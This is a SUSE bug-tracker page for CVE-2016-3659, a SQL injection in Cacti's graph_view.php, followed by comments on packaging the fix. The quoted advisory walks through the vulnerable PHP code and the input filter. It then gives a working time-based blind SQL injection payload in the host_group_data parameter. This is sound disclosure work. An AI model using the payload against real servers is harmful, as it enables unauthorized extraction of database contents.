Bug 974013 - (CVE-2016-3659) VUL-0: CVE-2016-3659: cacti: graph_view.php SQL Injection Vulnerability
(CVE-2016-3659)
VUL-0: CVE-2016-3659: cacti: graph_view.php SQL Injection Vulnerability
Status: RESOLVED FIXED
Classification: Novell Products
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents
unspecified
Other openSUSE 42.1
: P3 - Medium : Major
: ---
Assigned To: Aeneas Jaißle
Security Team bot
https://smash.suse.de/issue/166196/
:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2016-04-05 09:09 UTC by Johannes Segitz
Modified: 2018-08-03 22:13 UTC (History)
6 users (show)

See Also:
Found By: Security Response Team
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Johannes Segitz 2016-04-05 09:09:51 UTC
==========================
Advisory: Cacti graph_view.php SQL Injection Vulnerability
Author: M3@pandas From DBAppSecurity Security Lab
Email: xiaotian.wang@dbappsecurity.com.cn
Affected Version: 0.8.8.g(the latest version & the older versions)
==========================
Vulnerability Description
==========================
Recetly, I found a SQL Injection Vulnerability in ‘Cacti' program,  Cacti is widely used in many companies.

Vulnerable file: /cacti/graph_view.php:

/* ================= input validation ================= */
input_validate_input_number(get_request_var_request('branch_id'));
input_validate_input_number(get_request_var_request('hide'));
input_validate_input_number(get_request_var_request('tree_id'));
input_validate_input_number(get_request_var_request('leaf_id'));
input_validate_input_number(get_request_var_request('rra_id'));
input_validate_input_regex(get_request_var_request('graph_list'), '^([\,0-9]+)$');
input_validate_input_regex(get_request_var_request('graph_add'), '^([\,0-9]+)$');
input_validate_input_regex(get_request_var_request('graph_remove'), '^([\,0-9]+)$');
input_validate_input_regex(get_request_var_request('nodeid'), '^([_a-z0-9]+)$');
/* ==================================================== */
...
switch ($_REQUEST['action']) {
case 'tree_content':
    validate_tree_vars(); // attesion here
...
        grow_right_pane_tree((isset($_REQUEST['tree_id']) ? $_REQUEST['tree_id'] : 0), (isset($_REQUEST['leaf_id']) ? $_REQUEST['leaf_id'] : 0), (isset($_REQUEST['host_group_data']) 
        ? urldecode($_REQUEST['host_group_data']) : 0));
        //follow function grow_right_pane_tree()
}

/lib/html_tree.php:

function grow_right_pane_tree($tree_id, $leaf_id, $host_group_data) 
{
    global $current_user, $config, $graphs_per_page, $graph_timeshifts;
    ...
    $host_group_data_array = explode(':', $host_group_data); 

    if ($host_group_data_array[0] == 'graph_template') {
        $host_group_data_name = '<strong>Graph Template:</strong> ' . db_fetch_cell('select name from graph_templates where id=' . $host_group_data_array[1]); //here is a positive sql injection vul
        $graph_template_id = $host_group_data_array[1];
    }
    ...
}

Codes above seem to be a  sql injection vul, but function validate_tree_vars() is a powerful filtering function like this:

function validate_tree_vars() {
    /* ================= input validation ================= */
    input_validate_input_number(get_request_var_request('graphs'));
    input_validate_input_number(get_request_var_request('columns'));
    input_validate_input_number(get_request_var_request('page'));
    input_validate_input_number(get_request_var_request('tree_id'));
    input_validate_input_number(get_request_var_request('leaf_id'));
    /* ==================================================== */

    /* clean up search string */
    if (isset($_REQUEST['filter'])) {
        $_REQUEST['filter'] = sanitize_search_string(get_request_var_request('filter'));
    }

    /* clean up search string */
    if (isset($_REQUEST['thumbnails'])) {
        $_REQUEST['thumbnails'] = sanitize_search_string(get_request_var_request('thumbnails'));
    }

    /* clean up host_group_data string */
    if (isset($_REQUEST['host_group_data'])) {
        $_REQUEST['host_group_data'] = sanitize_search_string(get_request_var_request('host_group_data'));

Continue tracking function sanitize_search_string
/lib/functions.php:
function sanitize_search_string($string) {
    static $drop_char_match =   array('^', '$', '<', '>', '`', '\'', '"', '|', ',', '?', '+', '[', ']', '{', '}', '#', ';', '!', '=', '*');
    static $drop_char_replace = array(' ', ' ', ' ', ' ',  '',   '', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ');

    /* Replace line endings by a space */
    $string = preg_replace('/[\n\r]/is', ' ', $string);

    /* HTML entities like &nbsp; */
    $string = preg_replace('/\b&[a-z]+;\b/', ' ', $string);

    /* Remove URL's */
    $string = preg_replace('/\b[a-z0-9]+:\/\/[a-z0-9\.\-]+(\/[a-z0-9\?\.%_\-\+=&\/]+)?/', ' ', $string);

    /* Filter out strange characters like ^, $, &, change "it's" to "its" */
    for($i = 0; $i < count($drop_char_match); $i++) {
        $string =  str_replace($drop_char_match[$i], $drop_char_replace[$i], $string);
    }

    return $string;
}


This function filter seem to be very strict, but it can be bypassed by some mysql tips. Then I can achieve any data using this sql injection vul.



==========================
POC && EXP
==========================
1. Login
2. POST  http://target/cacti/graph_view.php
   Data: ____csrf_magic=sid:b0349195c55bddec2f2be859e0f394539ea4569a,1458781575&host_group_data=graph_template:1 union select case when ord(substring((select version()) from 1 for 1)) between 53 and 53 then sleep(5) else 0 end
    
If response time returns more than 5 seconds, we can prove that the first string of mysql version() is 5. (ord(5)=53) then we can write python script to achieve data automatically instead of manual work.

Ref: http://bugs.cacti.net/view.php?id=2673
==========================


References:
http://seclists.org/fulldisclosure/2016/Apr/4
https://bugzilla.redhat.com/show_bug.cgi?id=1323942
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-3659
Comment 1 Swamp Workflow Management 2016-04-05 22:00:46 UTC
bugbot adjusting priority
Comment 2 David Liedke 2016-05-09 11:10:27 UTC
Cacti 0.8.8h released
Comment 3 David Liedke 2016-05-09 11:44:15 UTC
(In reply to David Liedke from comment #2)
> Cacti 0.8.8h released

https://build.opensuse.org/request/show/394344
Comment 4 David Liedke 2016-05-09 12:06:36 UTC
(In reply to David Liedke from comment #3)
> (In reply to David Liedke from comment #2)
> > Cacti 0.8.8h released
> 
> https://build.opensuse.org/request/show/394344

394344 revoked

Add fix for CVE-2016-3172
https://build.opensuse.org/request/show/394348
Comment 5 Andreas Stieger 2016-05-10 22:03:10 UTC
Current maintainers of server:monitoring / cacti, please review the submissions.
Also, do you have enough active maintainers? David seems to be an interested user.
Comment 6 Aeneas Jaißle 2016-05-11 09:35:41 UTC
(In reply to Andreas Stieger from comment #5)
> Current maintainers of server:monitoring / cacti, please review the
> submissions.
> Also, do you have enough active maintainers? David seems to be an interested
> user.

I think David would be a good addition.
David, would you mind being added as maintainer?
Comment 7 Aeneas Jaißle 2016-05-11 09:36:31 UTC
Request accepted.

Maintenance target got moved to project openSUSE:Maintenance:5077
Comment 8 David Liedke 2016-05-11 09:47:22 UTC
(In reply to Aeneas Jaißle from comment #6)
> (In reply to Andreas Stieger from comment #5)
> > Current maintainers of server:monitoring / cacti, please review the
> > submissions.
> > Also, do you have enough active maintainers? David seems to be an interested
> > user.
> 
> I think David would be a good addition.
> David, would you mind being added as maintainer?

https://build.opensuse.org/request/show/394818
Comment 9 Swamp Workflow Management 2016-05-18 12:10:07 UTC
openSUSE-SU-2016:1328-1: An update that fixes two vulnerabilities is now available.

Category: security (moderate)
Bug References: 971357,974013
CVE References: CVE-2016-3172,CVE-2016-3659
Sources used:
openSUSE Leap 42.1 (src):    cacti-0.8.8f-11.1
openSUSE 13.2 (src):    cacti-0.8.8f-4.16.1
Comment 10 Marcus Meissner 2016-08-01 09:03:32 UTC
was released
Comment 11 Swamp Workflow Management 2018-07-28 18:11:45 UTC
This is an autogenerated message for OBS integration:
This bug (974013) was mentioned in
https://build.opensuse.org/request/show/625957 Backports:SLE-12 / cacti
Comment 12 Swamp Workflow Management 2018-08-03 22:13:08 UTC
openSUSE-OU-2018:2194-1: An update that fixes 33 vulnerabilities is now available.

Category: optional (low)
Bug References: 022564,1047512,1048102,1050950,1051633,1054390,1054742,1067163,1067164,1067166,1068028,1101024,1101139,837440,862993,867607,870821,872008,934187,937997,958863,958977,960678,965930,971357,974013
CVE References: CVE-2006-6799,CVE-2007-3112,CVE-2007-3113,CVE-2013-5588,CVE-2013-5589,CVE-2014-2326,CVE-2014-2327,CVE-2014-2328,CVE-2014-2708,CVE-2014-2709,CVE-2014-4000,CVE-2014-4002,CVE-2014-5025,CVE-2014-5026,CVE-2015-4342,CVE-2015-4634,CVE-2015-8369,CVE-2015-8377,CVE-2015-8604,CVE-2016-2313,CVE-2016-3172,CVE-2016-3659,CVE-2017-10970,CVE-2017-11163,CVE-2017-11691,CVE-2017-12065,CVE-2017-12927,CVE-2017-12978,CVE-2017-15194,CVE-2017-16641,CVE-2017-16660,CVE-2017-16661,CVE-2017-16785
Sources used:
SUSE Package Hub for SUSE Linux Enterprise 12 (src):    cacti-1.1.38-2.1